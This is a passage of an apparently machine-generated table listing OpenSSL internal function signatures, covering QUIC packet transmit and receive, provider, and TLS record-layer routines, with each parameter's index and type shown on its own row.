OSSL_PARAM_BLD_push_utf8_string | 2 | const char * | +| (OSSL_PARAM_BLD *,const char *,const char *,size_t) | | OSSL_PARAM_BLD_push_utf8_string | 3 | size_t | +| (OSSL_PARAM_BLD *,const char *,const void *,size_t) | | OSSL_PARAM_BLD_push_octet_string | 0 | OSSL_PARAM_BLD * | +| (OSSL_PARAM_BLD *,const char *,const void *,size_t) | | OSSL_PARAM_BLD_push_octet_string | 1 | const char * | +| (OSSL_PARAM_BLD *,const char *,const void *,size_t) | | OSSL_PARAM_BLD_push_octet_string | 2 | const void * | +| (OSSL_PARAM_BLD *,const char *,const void *,size_t) | | OSSL_PARAM_BLD_push_octet_string | 3 | size_t | +| (OSSL_PQUEUE *) | | ossl_pqueue_pop | 0 | OSSL_PQUEUE * | +| (OSSL_PQUEUE *,size_t) | | ossl_pqueue_remove | 0 | OSSL_PQUEUE * | +| (OSSL_PQUEUE *,size_t) | | ossl_pqueue_remove | 1 | size_t | +| (OSSL_PQUEUE *,void *,size_t *) | | ossl_pqueue_push | 0 | OSSL_PQUEUE * | +| (OSSL_PQUEUE *,void *,size_t *) | | ossl_pqueue_push | 1 | void * | +| (OSSL_PQUEUE *,void *,size_t *) | | ossl_pqueue_push | 2 | size_t * | +| (OSSL_PRIVILEGE_POLICY_ID *) | | OSSL_PRIVILEGE_POLICY_ID_free | 0 | OSSL_PRIVILEGE_POLICY_ID * | +| (OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long) | | d2i_OSSL_PRIVILEGE_POLICY_ID | 0 | OSSL_PRIVILEGE_POLICY_ID ** | +| (OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long) | | d2i_OSSL_PRIVILEGE_POLICY_ID | 1 | const unsigned char ** | +| (OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long) | | d2i_OSSL_PRIVILEGE_POLICY_ID | 2 | long | +| (OSSL_PROVIDER *) | | ossl_provider_get_parent | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 1 | OSSL_PROVIDER ** | +| (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 2 | int | +| (OSSL_PROVIDER *,const OSSL_CORE_HANDLE *) | | ossl_provider_set_child | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,const OSSL_CORE_HANDLE *) | | ossl_provider_set_child | 1 | const OSSL_CORE_HANDLE * | +| (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | const char * | +| (OSSL_PROVIDER *,int,..(*)(..),void *) | | evp_names_do_all | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,int,..(*)(..),void *) | | evp_names_do_all | 1 | int | +| (OSSL_PROVIDER *,int,..(*)(..),void *) | | evp_names_do_all | 2 | ..(*)(..) | +| (OSSL_PROVIDER *,int,..(*)(..),void *) | | evp_names_do_all | 3 | void * | +| (OSSL_PROVIDER *,size_t) | | ossl_provider_set_operation_bit | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,size_t) | | ossl_provider_set_operation_bit | 1 | size_t | +| (OSSL_PROVIDER *,size_t,int *) | | ossl_provider_test_operation_bit | 0 | OSSL_PROVIDER * | +| (OSSL_PROVIDER *,size_t,int *) | | ossl_provider_test_operation_bit | 1 | size_t | +| (OSSL_PROVIDER *,size_t,int *) | | ossl_provider_test_operation_bit | 2 | int * | +| (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 0 | OSSL_QRL_ENC_LEVEL_SET * | +| (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 1 | uint32_t | +| (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 2 | int | +| (OSSL_QRX *) | | ossl_qrx_get_cur_forged_pkt_count | 0 | OSSL_QRX * | +| (OSSL_QRX *) | | ossl_qrx_get_short_hdr_conn_id_len | 0 | OSSL_QRX * | +| (OSSL_QRX *,OSSL_QRX_PKT *) | | ossl_qrx_inject_pkt | 0 | OSSL_QRX * | +| (OSSL_QRX *,OSSL_QRX_PKT *) | | ossl_qrx_inject_pkt | 1 | OSSL_QRX_PKT * | +| (OSSL_QRX *,OSSL_QRX_PKT **) | | ossl_qrx_read_pkt | 0 | OSSL_QRX * | +| (OSSL_QRX *,OSSL_QRX_PKT **) | | ossl_qrx_read_pkt | 1 | OSSL_QRX_PKT ** | +| (OSSL_QRX *,QUIC_URXE *) | | ossl_qrx_inject_urxe | 0 | OSSL_QRX * | +| (OSSL_QRX *,QUIC_URXE *) | | ossl_qrx_inject_urxe | 1 | QUIC_URXE * | +| (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 0 | OSSL_QRX * | +| (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | int | +| (OSSL_QRX *,ossl_msg_cb,SSL *) | | ossl_qrx_set_msg_callback | 0 | OSSL_QRX * | +| (OSSL_QRX *,ossl_msg_cb,SSL *) | | ossl_qrx_set_msg_callback | 1 | ossl_msg_cb | +| (OSSL_QRX *,ossl_msg_cb,SSL *) | | ossl_qrx_set_msg_callback | 2 | SSL * | +| (OSSL_QRX *,ossl_qrx_key_update_cb *,void *) | | ossl_qrx_set_key_update_cb | 0 | OSSL_QRX * | +| (OSSL_QRX *,ossl_qrx_key_update_cb *,void *) | | ossl_qrx_set_key_update_cb | 1 | ossl_qrx_key_update_cb * | +| (OSSL_QRX *,ossl_qrx_key_update_cb *,void *) | | ossl_qrx_set_key_update_cb | 2 | void * | +| (OSSL_QRX *,ossl_qrx_late_validation_cb *,void *) | | ossl_qrx_set_late_validation_cb | 0 | OSSL_QRX * | +| (OSSL_QRX *,ossl_qrx_late_validation_cb *,void *) | | ossl_qrx_set_late_validation_cb | 1 | ossl_qrx_late_validation_cb * | +| (OSSL_QRX *,ossl_qrx_late_validation_cb *,void *) | | ossl_qrx_set_late_validation_cb | 2 | void * | +| (OSSL_QRX *,void *) | | ossl_qrx_set_msg_callback_arg | 0 | OSSL_QRX * | +| (OSSL_QRX *,void *) | | ossl_qrx_set_msg_callback_arg | 1 | void * | +| (OSSL_QTX *) | | ossl_qtx_get_cur_dgram_len_bytes | 0 | OSSL_QTX * | +| (OSSL_QTX *) | | ossl_qtx_get_mdpl | 0 | OSSL_QTX * | +| (OSSL_QTX *) | | ossl_qtx_get_queue_len_bytes | 0 | OSSL_QTX * | +| (OSSL_QTX *) | | ossl_qtx_get_queue_len_datagrams | 0 | OSSL_QTX * | +| (OSSL_QTX *) | | ossl_qtx_get_unflushed_pkt_count | 0 | OSSL_QTX * | +| (OSSL_QTX *,..(*)(..),void *) | | ossl_qtx_set_qlog_cb | 0 | OSSL_QTX * | +| (OSSL_QTX *,..(*)(..),void *) | | ossl_qtx_set_qlog_cb | 1 | ..(*)(..) | +| (OSSL_QTX *,..(*)(..),void *) | | ossl_qtx_set_qlog_cb | 2 | void * | +| (OSSL_QTX *,BIO *) | | ossl_qtx_set_bio | 0 | OSSL_QTX * | +| (OSSL_QTX *,BIO *) | | ossl_qtx_set_bio | 1 | BIO * | +| (OSSL_QTX *,BIO_MSG *) | | ossl_qtx_pop_net | 0 | OSSL_QTX * | +| (OSSL_QTX *,BIO_MSG *) | | ossl_qtx_pop_net | 1 | BIO_MSG * | +| (OSSL_QTX *,ossl_msg_cb,SSL *) | | ossl_qtx_set_msg_callback | 0 | OSSL_QTX * | +| (OSSL_QTX *,ossl_msg_cb,SSL *) | | ossl_qtx_set_msg_callback | 1 | ossl_msg_cb | +| (OSSL_QTX *,ossl_msg_cb,SSL *) | | ossl_qtx_set_msg_callback | 2 | SSL * | +| (OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_qtx_set_mutator | 0 | OSSL_QTX * | +| (OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_qtx_set_mutator | 1 | ossl_mutate_packet_cb | +| (OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_qtx_set_mutator | 2 | ossl_finish_mutate_cb | +| (OSSL_QTX *,ossl_mutate_packet_cb,ossl_finish_mutate_cb,void *) | | ossl_qtx_set_mutator | 3 | void * | +| (OSSL_QTX *,size_t) | | ossl_qtx_set_mdpl | 0 | OSSL_QTX * | +| (OSSL_QTX *,size_t) | | ossl_qtx_set_mdpl | 1 | size_t | +| (OSSL_QTX *,uint32_t) | | ossl_qtx_get_cur_epoch_pkt_count | 0 | OSSL_QTX * | +| (OSSL_QTX *,uint32_t) | | ossl_qtx_get_cur_epoch_pkt_count | 1 | uint32_t | +| (OSSL_QTX *,uint32_t) | | ossl_qtx_is_enc_level_provisioned | 0 | OSSL_QTX * | +| (OSSL_QTX *,uint32_t) | | ossl_qtx_is_enc_level_provisioned | 1 | uint32_t | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_ciphertext_payload_len | 0 | OSSL_QTX * | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_ciphertext_payload_len | 1 | uint32_t | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_ciphertext_payload_len | 2 | size_t | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_ciphertext_payload_len | 3 | size_t * | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_plaintext_payload_len | 0 | OSSL_QTX * | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_plaintext_payload_len | 1 | uint32_t | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_plaintext_payload_len | 2 | size_t | +| (OSSL_QTX *,uint32_t,size_t,size_t *) | | ossl_qtx_calculate_plaintext_payload_len | 3 | size_t * | +| (OSSL_QTX *,void *) | | ossl_qtx_set_msg_callback_arg | 0 | OSSL_QTX * | +| (OSSL_QTX *,void *) | | ossl_qtx_set_msg_callback_arg | 1 | void * | +| (OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *) | | ossl_quic_tx_packetiser_set_ack_tx_cb | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *) | | ossl_quic_tx_packetiser_set_ack_tx_cb | 1 | ..(*)(..) | +| (OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *) | | ossl_quic_tx_packetiser_set_ack_tx_cb | 2 | void * | +| (OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *) | | ossl_quic_tx_packetiser_set_qlog_cb | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *) | | ossl_quic_tx_packetiser_set_qlog_cb | 1 | ..(*)(..) | +| (OSSL_QUIC_TX_PACKETISER *,..(*)(..),void *) | | ossl_quic_tx_packetiser_set_qlog_cb | 2 | void * | +| (OSSL_QUIC_TX_PACKETISER *,const OSSL_QUIC_FRAME_CONN_CLOSE *) | | ossl_quic_tx_packetiser_schedule_conn_close | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,const OSSL_QUIC_FRAME_CONN_CLOSE *) | | ossl_quic_tx_packetiser_schedule_conn_close | 1 | const OSSL_QUIC_FRAME_CONN_CLOSE * | +| (OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *) | | ossl_quic_tx_packetiser_set_cur_dcid | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *) | | ossl_quic_tx_packetiser_set_cur_dcid | 1 | const QUIC_CONN_ID * | +| (OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *) | | ossl_quic_tx_packetiser_set_cur_scid | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,const QUIC_CONN_ID *) | | ossl_quic_tx_packetiser_set_cur_scid | 1 | const QUIC_CONN_ID * | +| (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 1 | const unsigned char * | +| (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 2 | size_t | +| (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 3 | ossl_quic_initial_token_free_fn * | +| (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 4 | void * | +| (OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *) | | ossl_quic_tx_packetiser_set_msg_callback | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *) | | ossl_quic_tx_packetiser_set_msg_callback | 1 | ossl_msg_cb | +| (OSSL_QUIC_TX_PACKETISER *,ossl_msg_cb,SSL *) | | ossl_quic_tx_packetiser_set_msg_callback | 2 | SSL * | +| (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_add_unvalidated_credit | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_add_unvalidated_credit | 1 | size_t | +| (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_consume_unvalidated_credit | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_consume_unvalidated_credit | 1 | size_t | +| (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 1 | size_t | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_get_next_pn | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_get_next_pn | 1 | uint32_t | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_schedule_ack | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_schedule_ack | 1 | uint32_t | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_schedule_ack_eliciting | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_schedule_ack_eliciting | 1 | uint32_t | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_set_protocol_version | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,uint32_t) | | ossl_quic_tx_packetiser_set_protocol_version | 1 | uint32_t | +| (OSSL_QUIC_TX_PACKETISER *,void *) | | ossl_quic_tx_packetiser_set_msg_callback_arg | 0 | OSSL_QUIC_TX_PACKETISER * | +| (OSSL_QUIC_TX_PACKETISER *,void *) | | ossl_quic_tx_packetiser_set_msg_callback_arg | 1 | void * | +| (OSSL_RECORD_LAYER *) | | tls_app_data_pending | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *) | | tls_get_alert_code | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *) | | tls_get_compression | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *) | | tls_unprocessed_read_pending | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,BIO *) | | tls_set1_bio | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,BIO *) | | tls_set1_bio | 1 | BIO * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 1 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_default | 2 | size_t | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 1 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t) | | tls_write_records_multiblock | 2 | size_t | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 1 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 2 | size_t | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 3 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 4 | WPACKET * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 5 | TLS_BUFFER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls1_initialise_write_packets | 6 | size_t * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 1 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 2 | size_t | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 3 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 4 | WPACKET * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 5 | TLS_BUFFER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *) | | tls_initialise_write_packets_default | 6 | size_t * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls1_allocate_write_buffers | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls1_allocate_write_buffers | 1 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls1_allocate_write_buffers | 2 | size_t | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls1_allocate_write_buffers | 3 | size_t * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls_allocate_write_buffers_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls_allocate_write_buffers_default | 1 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls_allocate_write_buffers_default | 2 | size_t | +| (OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *) | | tls_allocate_write_buffers_default | 3 | size_t * | +| (OSSL_RECORD_LAYER *,TLS_RL_RECORD *) | | tls_default_post_process_record | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,TLS_RL_RECORD *) | | tls_default_post_process_record | 1 | TLS_RL_RECORD * | +| (OSSL_RECORD_LAYER *,TLS_RL_RECORD *) | | tls_do_compress | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,TLS_RL_RECORD *) | | tls_do_compress | 1 | TLS_RL_RECORD * | +| (OSSL_RECORD_LAYER *,TLS_RL_RECORD *) | | tls_do_uncompress | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,TLS_RL_RECORD *) | | tls_do_uncompress | 1 | TLS_RL_RECORD * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | dtls_prepare_record_header | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | dtls_prepare_record_header | 1 | WPACKET * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | dtls_prepare_record_header | 2 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | dtls_prepare_record_header | 3 | uint8_t | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | dtls_prepare_record_header | 4 | unsigned char ** | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | tls_prepare_record_header_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | tls_prepare_record_header_default | 1 | WPACKET * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | tls_prepare_record_header_default | 2 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | tls_prepare_record_header_default | 3 | uint8_t | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | tls_prepare_record_header_default | 4 | unsigned char ** | +| (OSSL_RECORD_LAYER *,const OSSL_PARAM *) | | tls_set_options | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,const OSSL_PARAM *) | | tls_set_options | 1 | const OSSL_PARAM * | +| (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | int | +| (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | int | +| (OSSL_RECORD_LAYER *,int,int,const char *,...) | | ossl_rlayer_fatal | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,int,int,const char *,...) | | ossl_rlayer_fatal | 1 | int | +| (OSSL_RECORD_LAYER *,int,int,const char *,...) | | ossl_rlayer_fatal | 2 | int | +| (OSSL_RECORD_LAYER *,int,int,const char *,...) | | ossl_rlayer_fatal | 3 | const char * | +| (OSSL_RECORD_LAYER *,int,int,const char *,...) | | ossl_rlayer_fatal | 4 | ... | +| (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | dtls_post_encryption_processing | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | dtls_post_encryption_processing | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | dtls_post_encryption_processing | 2 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | dtls_post_encryption_processing | 3 | WPACKET * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | dtls_post_encryption_processing | 4 | TLS_RL_RECORD * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | tls_post_encryption_processing_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | tls_post_encryption_processing_default | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | tls_post_encryption_processing_default | 2 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | tls_post_encryption_processing_default | 3 | WPACKET * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | tls_post_encryption_processing_default | 4 | TLS_RL_RECORD * | +| (OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *) | | tls_prepare_for_encryption_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *) | | tls_prepare_for_encryption_default | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *) | | tls_prepare_for_encryption_default | 2 | WPACKET * | +| (OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *) | | tls_prepare_for_encryption_default | 3 | TLS_RL_RECORD * | +| (OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *) | | tls_default_read_n | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *) | | tls_default_read_n | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *) | | tls_default_read_n | 2 | size_t | +| (OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *) | | tls_default_read_n | 3 | int | +| (OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *) | | tls_default_read_n | 4 | int | +| (OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *) | | tls_default_read_n | 5 | size_t * | +| (OSSL_RECORD_LAYER *,size_t,size_t,size_t) | | tls_setup_write_buffer | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t,size_t,size_t) | | tls_setup_write_buffer | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t,size_t,size_t) | | tls_setup_write_buffer | 2 | size_t | +| (OSSL_RECORD_LAYER *,size_t,size_t,size_t) | | tls_setup_write_buffer | 3 | size_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER 